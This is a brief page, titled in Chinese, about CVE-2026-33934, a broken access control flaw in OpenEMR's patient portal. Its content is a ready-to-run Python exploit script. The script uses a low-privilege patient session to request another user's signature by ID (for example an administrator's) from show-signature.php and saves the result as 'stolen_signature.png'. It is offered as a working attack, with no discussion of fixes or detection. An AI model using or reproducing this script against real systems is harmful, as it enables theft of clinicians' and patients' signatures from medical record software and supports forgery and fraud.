CVE-2026-33934 OpenEMR 越权读取签名漏洞

import requests # Target URL of the vulnerable endpoint vulnerable_url = "http://target-openemr-site.com/portal/sign/lib/show-signature.php" # Attacker's authenticated session cookie (e.g., low-priv patient account) session_cookies = { "PHPSESSID": "attacker_valid_session_id_here" } # The vulnerability allows specifying any 'user' value to retrieve their signature # In this example, we attempt to retrieve the signature of user ID '1' (often an admin) payload_data = { "user": "1" } try: print("[*] Attempting to exploit CVE-2026-33934...") # Send POST request to the vulnerable endpoint response = requests.post(vulnerable_url, cookies=session_cookies, data=payload_data) # Check response status and content type to verify if data was retrieved if response.status_code == 200: content_type = response.headers.get('Content-Type', '') if 'image' in content_type: print("[+] Exploit successful! Signature image retrieved.") print(f"[+] Content-Type: {content_type}") # Save the stolen signature to a file with open("stolen_signature.png", "wb") as f: f.write(response.content) print("[+] File saved as 'stolen_signature.png'") else: print("[-] Unexpected response. Target may not be vulnerable or patched.") print("[-] Response body:", response.text[:200]) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}")